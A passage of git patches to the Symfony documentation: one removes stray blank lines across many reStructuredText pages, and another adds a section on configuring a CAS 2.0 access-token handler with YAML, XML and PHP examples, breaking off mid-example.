 components/cache/adapters/filesystem_adapter.rst          | 1 -
 components/cache/cache_pools.rst                          | 1 -
 components/event_dispatcher/generic_event.rst             | 1 -
 components/http_kernel.rst                                | 1 -
 components/process.rst                                    | 1 -
 components/property_access.rst                            | 1 -
 configuration.rst                                         | 1 -
 configuration/override_dir_structure.rst                  | 1 -
 configuration/secrets.rst                                 | 1 -
 console.rst                                               | 1 -
 contributing/community/review-comments.rst                | 1 -
 contributing/documentation/standards.rst                  | 1 -
 doctrine/associations.rst                                 | 1 -
 form/create_custom_field_type.rst                         | 1 -
 form/form_collections.rst                                 | 1 -
 frontend/custom_version_strategy.rst                      | 1 -
 frontend/encore/dev-server.rst                            | 1 -
 frontend/encore/reactjs.rst                               | 3 +--
 frontend/encore/split-chunks.rst                          | 1 -
 mailer.rst                                                | 2 --
 mercure.rst                                               | 2 --
 messenger.rst                                             | 2 --
 profiler.rst                                              | 1 -
 reference/configuration/framework.rst                     | 1 -
 reference/configuration/security.rst                      | 1 -
 reference/constraints/Country.rst                         | 1 -
 reference/constraints/Email.rst                           | 1 -
 reference/constraints/EqualTo.rst                         | 1 -
 reference/constraints/Length.rst                          | 1 -
 reference/constraints/Positive.rst                        | 1 -
 reference/constraints/Ulid.rst                            | 1 -
 reference/formats/message_format.rst                      | 1 -
 routing.rst                                               | 1 -
 security/custom_authenticator.rst                         | 1 -
 security/entry_point.rst                                  | 1 -
 security/ldap.rst                                         | 2 --
 security/remember_me.rst                                  | 1 -
 serializer/custom_encoders.rst                            | 1 -
 serializer/custom_normalizer.rst                          | 1 -
 service_container.rst                                     | 2 --
 service_container/autowiring.rst                          | 3 ---
 service_container/factories.rst                           | 1 -
 service_container/lazy_services.rst                       | 1 -
 service_container/service_decoration.rst                  | 1 -
 service_container/synthetic_services.rst                  | 1 -
 service_container/tags.rst                                | 2 --
 session.rst                                               | 1 -
 setup/flex_private_recipes.rst                            | 2 --
 setup/unstable_versions.rst                               | 1 -
 setup/web_server_configuration.rst                        | 1 -
 validation/custom_constraint.rst                          | 1 -
 55 files changed, 1 insertion(+), 67 deletions(-)

diff --git a/cache.rst b/cache.rst
index 0e449f2bb0d..43d417c1738 100644
--- a/cache.rst
+++ b/cache.rst
@@ -481,7 +481,6 @@ and use that when configuring the pool.
                     ->adapters(['cache.adapter.redis'])
                     ->provider('app.my_custom_redis_provider');
 
-
             $container->register('app.my_custom_redis_provider', \Redis::class)
                 ->setFactory([RedisAdapter::class, 'createConnection'])
                 ->addArgument('redis://localhost')
diff --git a/components/cache.rst b/components/cache.rst
index daef6d4f5a6..857282eb1d0 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -141,7 +141,6 @@ The following cache adapters are available:
 
     cache/adapters/*
 
-
 .. _cache-component-psr6-caching:
 
 Generic Caching (PSR-6)
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 5312371a2bb..172a8fe0f19 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -39,7 +39,6 @@ the second and third parameters::
         $defaultLifetime
     );
 
-
 Configure the Connection
 ------------------------
 
@@ -71,7 +70,6 @@ helper method allows creating and configuring a `Couchbase Bucket`_ class instan
         'couchbase:?host[localhost]&host[localhost:12345]'
     );
 
-
 Configure the Options
 ---------------------
 
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 66586c816ee..296b7065f1d 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -36,7 +36,6 @@ the second and third parameters::
         $defaultLifetime
     );
 
-
 Configure the Connection
 ------------------------
 
@@ -68,7 +67,6 @@ helper method allows creating and configuring a `Couchbase Collection`_ class in
         'couchbase:?host[localhost]&host[localhost:12345]'
     );
 
-
 Configure the Options
 ---------------------
 
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 4c447b3de82..26ef48af27c 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -63,6 +63,5 @@ adapter offers better read performance when using tag-based invalidation::
 
     $cache = new FilesystemTagAwareAdapter();
 
-
 .. _`tmpfs`: https://wiki.archlinux.org/index.php/tmpfs
 .. _`RAM disk solutions`: https://en.wikipedia.org/wiki/List_of_RAM_drive_software
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index c92a22a136b..3a0897defcf 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -25,7 +25,6 @@ ready to use in your applications.
 
     adapters/*
 
-
 Using the Cache Contracts
 -------------------------
 
diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index dbc37cbe752..8fba7c41940 100644
--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -99,4 +99,3 @@ Filtering data::
             $event['data'] = strtolower($event['data']);
         }
     }
-
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index abfd5b16163..17ea754b70c 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -26,7 +26,6 @@ The Workflow of a Request
     :doc:`/event_dispatcher` articles to learn about how to use it to create
     controllers and define events in Symfony applications.
 
-
 Every HTTP web interaction begins with a request and ends with a response.
 Your job as a developer is to create PHP code that reads the request information
 (e.g. the URL) and creates and returns a response (e.g. an HTML page or JSON string).
diff --git a/components/process.rst b/components/process.rst
index d11618cb119..c3a289645e9 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -10,7 +10,6 @@ Installation
 
     $ composer require symfony/process
 
-
 .. include:: /components/require_autoload.rst.inc
 
 Usage
diff --git a/components/property_access.rst b/components/property_access.rst
index f19aff6111b..e2e6cb95796 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -186,7 +186,6 @@ method::
     // instead of throwing an exception the following code returns null
     $value = $propertyAccessor->getValue($person, 'birthday');
 
-
 .. _components-property-access-magic-get:
 
 Magic ``__get()`` Method
diff --git a/configuration.rst b/configuration.rst
index 7c6090b0987..37e341179ee 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -338,7 +338,6 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             ]);
         };
 
-
 .. note::
 
     If some parameter value includes the ``%`` character, you need to escape it
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 21e3f89d31b..41bf46d0e66 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -74,7 +74,6 @@ Web front-controller::
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
     // ...
 
-
 .. _override-config-dir:
 
 Override the Configuration Directory
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 3927fa6161f..863f575287d 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -320,6 +320,5 @@ The secrets system is enabled by default and some of its behavior can be configu
             ;
         };
 
-
 .. _`libsodium`: https://pecl.php.net/package/libsodium
 .. _`paragonie/sodium_compat`: https://github.com/paragonie/sodium_compat
diff --git a/console.rst b/console.rst
index 393f75fe677..e414ed15ced 100644
--- a/console.rst
+++ b/console.rst
@@ -571,7 +571,6 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
         $tester = new ApplicationTester($application);
 
-
 .. caution::
 
     When testing ``InputOption::VALUE_NONE`` command options, you must pass an
diff --git a/contributing/community/review-comments.rst b/contributing/community/review-comments.rst
index 0a048d8fa6e..5b9bc932205 100644
--- a/contributing/community/review-comments.rst
+++ b/contributing/community/review-comments.rst
@@ -149,7 +149,6 @@ you don't have to use "Please" all the time. But it wouldn't hurt.
 It may not seem like much, but saying "Thank you" does make others feel
 more welcome.
 
-
 Preventing Escalations
 ----------------------
 
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index cc5e16f3f81..0184fef36fc 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -175,7 +175,6 @@ Images and Diagrams
             alt="Some concise description."
         ></object>
 
-
 English Language Standards
 --------------------------
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 442143fa7ed..57e0aa55c9f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -679,7 +679,6 @@ that behavior, use the `orphanRemoval`_ option inside ``Category``:
         #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval: true)]
         private $products;
 
-
 Thanks to this, if the ``Product`` is removed from the ``Category``, it will be
 removed from the database entirely.
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 7292356841d..fe9e074f58c 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -464,7 +464,6 @@ Symfony passes a series of variables to the template used to render the form
 type. You can also pass your own variables, which can be based on the options
 defined by the form or be completely independent::
 
-
     // src/Form/Type/PostalAddressType.php
     namespace App\Form\Type;
 
diff --git a/form/form_collections.rst b/form/form_collections.rst
index a2726ed1ed6..b3caff2f436 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -529,7 +529,6 @@ Now, you need to put some code into the ``removeTag()`` method of ``Task``::
         }
     }
 
-
 The ``allow_delete`` option means that if an item of a collection
 isn't sent on submission, the related data is removed from the collection
 on the server. In order for this to work in an HTML form, you must remove
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 04a2d45f245..c5716b3f111 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -152,7 +152,6 @@ After creating the strategy PHP class, register it as a Symfony service.
                 );
         };
 
-
 Finally, enable the new asset versioning for all the application assets or just
 for some :ref:`asset package <reference-framework-assets-packages>` thanks to
 the :ref:`version_strategy <reference-assets-version-strategy>` option:
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index b509b68246f..01501178caf 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -122,7 +122,6 @@ Live Reloading when changing PHP / Twig Files
 To utilize the HMR superpower along with live reload for your PHP code and
 templates, set the following options:
 
-
 .. code-block:: javascript
 
     // webpack.config.js
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 4660b07603a..c12783781c3 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -9,7 +9,7 @@ Enabling React.js
 .. tip::
 
     Check out live demos of Symfony UX React component at `https://ux.symfony.com/react`_!
-    
+
 Using React? First add some dependencies with npm:
 
 .. code-block:: terminal
@@ -28,7 +28,6 @@ Enable react in your ``webpack.config.js``:
     +     .enableReactPreset()
       ;
 
-
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
 Encore, you're done!
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index 7739b0a49c6..f9d2353a75e 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -22,7 +22,6 @@ To enable this, call ``splitEntryChunks()``:
 
     +     .splitEntryChunks()
 
-
 Now, each output file (e.g. ``homepage.js``) *may* be split into multiple file
 (e.g. ``homepage.js`` & ``vendors-node_modules_jquery_dist_jquery_js.js`` - the
 filename of the second will be less obvious when you build for production). This
diff --git a/mailer.rst b/mailer.rst
index 379e2a71694..f5609ae394a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -323,7 +323,6 @@ Other Options
 
         This option was introduced in Symfony 5.2.
 
-
 ``local_domain``
     The domain name to use in ``HELO`` command::
 
@@ -1351,7 +1350,6 @@ you have a transport called ``async``, you can route the message there:
                 ->senders(['async']);
         };
 
-
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
diff --git a/mercure.rst b/mercure.rst
index 2b34c3c105b..a2ed1fea4db 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -501,14 +501,12 @@ And here is the controller::
         }
     }
 
-
 .. tip::
 
     You cannot use the ``mercure()`` helper and the ``setCookie()``
     method at the same time (it would set the cookie twice on a single request). Choose
     either one method or the other.
 
-
 Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
diff --git a/messenger.rst b/messenger.rst
index 84de04743de..ea8a66ae8cc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1604,7 +1604,6 @@ The Redis transport DSN may looks like this:
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-
 ===================  =====================================  =================================
 Option               Description                            Default
 ===================  =====================================  =================================
@@ -2361,7 +2360,6 @@ and a different instance will be created per bus.
                             - 'App\Middleware\MyMiddleware'
                             - 'App\Middleware\AnotherMiddleware'
 
-
     .. code-block:: xml
 
         <!-- config/packages/messenger.xml -->
diff --git a/profiler.rst b/profiler.rst
index 3da11a5bab6..134a8336cf4 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -193,7 +193,6 @@ production. To do that, create an :doc:`event subscriber </event_dispatcher>`
 and listen to the :ref:`kernel.response <component-http-kernel-kernel-response>`
 event::
 
-
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
     use Symfony\Component\HttpKernel\KernelInterface;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 7ffb0826ae8..25edfe52910 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2862,7 +2862,6 @@ annotation changes). For performance reasons, it is recommended to disable
 debug mode in production, which will happen automatically if you use the
 default value.
 
-
 secrets
 ~~~~~~~
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e28b52336ba..771054d9d12 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -303,7 +303,6 @@ the ``debug:firewall`` command:
 
     The ``debug:firewall`` command was introduced in Symfony 5.3.
 
-
 .. _reference-security-firewall-form-login:
 
 ``form_login`` Authentication
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 60ed57b98d2..fbffb0e4d17 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -120,4 +120,3 @@ Parameter        Description
 
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 3166-1 alpha-3`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3#Current_codes
-
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index da3c263d99e..cf151610324 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -142,7 +142,6 @@ This option defines the pattern used to validate the email address. Valid values
     :class:`Symfony\\Component\\Validator\\Constraints\\Email`
     (e.g. ``Email::VALIDATION_MODE_STRICT``).
 
-
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 06578c27c19..444df708eb2 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -10,7 +10,6 @@ To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualT
     equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with
     ``===``.
 
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\EqualTo`
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 3a197426975..44977ca0ea6 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -55,7 +55,6 @@ and ``50``, you might add the following:
             protected $firstName;
         }
 
-
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index b918c21695a..326e66e7c9b 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -78,7 +78,6 @@ positive number (greater than zero):
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-
         class Employee
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 102e6486e41..be7b8355cd6 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -112,5 +112,4 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-
 .. _`Universally Unique Lexicographically Sortable Identifier (ULID)`: https://github.com/ulid/spec
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 99c02f0f5b2..5ebd5def049 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -63,7 +63,6 @@ The basic usage of the MessageFormat allows you to use placeholders (called
             'say_hello' => "Hello {name}!",
         ];
 
-
 .. caution::
 
     In the previous translation format, placeholders were often wrapped in ``%``
diff --git a/routing.rst b/routing.rst
index b5d1e5cc95c..b557763e118 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2099,7 +2099,6 @@ host name:
             ;
         };
 
-
 The value of the ``host`` option can include parameters (which is useful in
 multi-tenant applications) and these parameters can be validated too with
 ``requirements``:
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index e79ea010ecd..e79d8a002a1 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -292,7 +292,6 @@ The following credential classes are supported by default:
             $apiToken
         ));
 
-
 Self Validating Passport
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/entry_point.rst b/security/entry_point.rst
index fb1fbe4ea41..9dfaf8bca8c 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -68,7 +68,6 @@ You can configure this using the ``entry_point`` setting:
             $security->enableAuthenticatorManager(true);
             // ....
 
-
             // allow authentication using a form or HTTP basic
             $mainFirewall = $security->firewall('main');
             $mainFirewall
diff --git a/security/ldap.rst b/security/ldap.rst
index b984bdf749b..e6bb8d6351b 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,7 +197,6 @@ use the ``ldap`` user provider.
             ;
         };
 
-
 .. caution::
 
     The Security component escapes provided input data when the LDAP user
@@ -530,4 +529,3 @@ Configuration example for form login and query_string
 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
 .. _`RFC4515`: https://datatracker.ietf.org/doc/rfc4515/
 .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection
-
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 4038f9e6268..055c0a783cf 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -289,7 +289,6 @@ Persistent tokens
 
         The ``service`` option was introduced in Symfony 5.1.
 
-
 .. _security-remember-me-signature:
 
 Using Signed Remember Me Tokens
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 432cb205b63..9f8a9d8448d 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -53,7 +53,6 @@ create your own encoder that uses the
     ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
     or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
 
-
 Registering it in your app
 --------------------------
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index c2c8c5d0bbf..85044ed0f33 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -86,4 +86,3 @@ is called.
     as well the ones included in `API Platform`_ natively implement this interface.
 
 .. _`API Platform`: https://api-platform.com
-
diff --git a/service_container.rst b/service_container.rst
index 6a3b606be22..097cdcd5a60 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -45,7 +45,6 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
         }
     }
 
-
 What other services are available? Find out by running:
 
 .. code-block:: terminal
@@ -513,7 +512,6 @@ pass here. No problem! In your configuration, you can explicitly set this argume
             ;
         };
 
-
 Thanks to this, the container will pass ``manager@example.com`` to the ``$adminEmail``
 argument of ``__construct`` when creating the ``SiteUpdateManager`` service. The
 other arguments will still be autowired.
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index b1c6e85d265..d75d34443ca 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -119,7 +119,6 @@ both services:
                 ->autowire();
         };
 
-
 Now, you can use the ``TwitterClient`` service immediately in a controller::
 
     // src/Controller/DefaultController.php
@@ -256,7 +255,6 @@ adding a service alias:
             $services->alias(Rot13Transformer::class, 'app.rot13.transformer');
         };
 
-
 This creates a service "alias", whose id is ``App\Util\Rot13Transformer``.
 Thanks to this, autowiring sees this and uses it whenever the ``Rot13Transformer``
 class is type-hinted.
@@ -360,7 +358,6 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
             $services->alias(TransformerInterface::class, Rot13Transformer::class);
         };
 
-
 Thanks to the ``App\Util\TransformerInterface`` alias, the autowiring subsystem
 knows that the ``App\Util\Rot13Transformer`` service should be injected when
 dealing with the ``TransformerInterface``.
diff --git a/service_container/factories.rst b/service_container/factories.rst
index a188bb2a046..3f13655c6cb 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -82,7 +82,6 @@ create its object:
                 ->factory([NewsletterManagerStaticFactory::class, 'createNewsletterManager']);
         };
 
-
 .. note::
 
     When using a factory to create services, the value chosen for class
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index bf45e100ef8..86cfc33749b 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -82,7 +82,6 @@ You can mark the service as ``lazy`` by manipulating its definition:
             $services->set(AppExtension::class)->lazy();
         };
 
-
 Once you inject the service into another service, a virtual `proxy`_ with the
 same signature of the class representing the service should be injected. The
 same happens when calling ``Container::get()`` directly.
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 5d663fbc797..08bff60b534 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -309,7 +309,6 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
                 ->args([service('.inner')]);
         };
 
-
 The generated code will be the following::
 
     $this->services[Foo::class] = new Baz(new Bar(new Foo()));
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index fc26c6848d3..c43a15034d0 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -71,7 +71,6 @@ configuration:
                 ->synthetic();
         };
 
-
 Now, you can inject the instance in the container using
 :method:`Container::set() <Symfony\\Component\\DependencyInjection\\Container::set>`::
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index cb4c4d562f9..9917cc65204 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -44,7 +44,6 @@ example:
                 ->tag('twig.extension');
         };
 
-
 Services tagged with the ``twig.extension`` tag are collected during the
 initialization of TwigBundle and added to Twig as extensions.
 
@@ -348,7 +347,6 @@ Then, define the chain as a service:
             $services->set(TransportChain::class);
         };
 
-
 Define Services with a Custom Tag
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/session.rst b/session.rst
index d112e9acfb4..3298e425965 100644
--- a/session.rst
+++ b/session.rst
@@ -1002,7 +1002,6 @@ the MongoDB connection as argument, and the required parameters:
 ``collection``:
     The name of the collection
 
-
 .. configuration-block::
 
     .. code-block:: yaml
diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index d143c69f3d7..191dd6a4e02 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -228,7 +228,6 @@ computer, and execute the following command:
 
 Replace ``[token]`` with the value of your Gitlab personal access token.
 
-
 Configure Your Project's ``composer.json`` File
 -----------------------------------------------
 
@@ -308,4 +307,3 @@ install the new private recipes, run the following command:
 
 .. _`release of version 1.16`: https://github.com/symfony/cli
 .. _`Symfony recipe files`: https://github.com/symfony/recipes/tree/flex/main
-
diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 6b30a0f785b..f8010440855 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -7,7 +7,6 @@ they are released as stable versions.
 Creating a New Project Based on an Unstable Symfony Version
 -----------------------------------------------------------
 
-
 Suppose that the Symfony 5.4 version hasn't been released yet and you want to create
 a new project to test its features. First, `install the Composer package manager`_.
 Then, open a command console, enter your project's directory and
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 6723d0abaa3..cfd4ec1a0b7 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -197,7 +197,6 @@ When using Caddy on the server, you can use a configuration like this:
         encode zstd gzip
         file_server
 
-
         # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
         php_fastcgi unix//var/run/php/php7.4-fpm.sock {
             # optionally set the value of the environment variables used in the application
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 16a02c12894..593c968e12a 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -666,4 +666,3 @@ class to simplify writing unit tests for your custom constraints::
             // ...
         }
     }
-

From c881eab2864a24d9ec567d06630eeaa2d6331373 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 8 Feb 2024 19:55:50 +0100
Subject: [PATCH 5800/7107] [Security] add CAS 2.0 AccessToken handler

---
 security/access_token.rst | 188 +++++++++++++++++++++++++++++++++++++-
 1 file changed, 185 insertions(+), 3 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 29fbfbc8bb6..83e33bae901 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -697,6 +697,187 @@ create your own User from the claims, you must
         }
     }
 
+Using CAS 2.0
+-------------
+
+`Central Authentication Service (CAS)`_ is an enterprise multilingual single
+sign-on solution and identity provider for the web and attempts to be a
+comprehensive platform for your authentication and authorization needs.
+
+Configure the Cas2Handler
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Symfony provides a generic ``Cas2Handler`` to call your CAS server. It requires
+the ``symfony/http-client`` package to make the needed HTTP requests. If you
+haven't installed it yet, run this command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/http-client
+
+You can configure a ``cas`` ``token_handler``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            cas:
+                                validation_url: https://www.example.com/cas/validate
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <cas validation-url="https://www.example.com/cas/validate"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->cas()
+                            ->validationUrl('https://www.example.com/cas/validate')
+            ;
+        };
+
+The ``cas`` token handler automatically creates an HTTP client to call
+the specified ``validation_url``. If you prefer using your own client, you can
+specify the service name via the ``http_client`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            cas:
+                                validation_url: https://www.example.com/cas/validate
+                                http_client: cas.client
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <cas validation-url="https://www.example.com/cas/validate" http-client="cas.client"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->cas()
+                            ->validationUrl('https://www.example.com/cas/validate')
+                            ->httpClient('cas.client')
+            ;
+        };
+
+By default the token handler will read the validation URL XML response with
+ ``cas`` prefix but you can configure another prefix:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            cas:
+                                validation_url: https://www.example.com/cas/validate
+                                prefix: cas-example
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
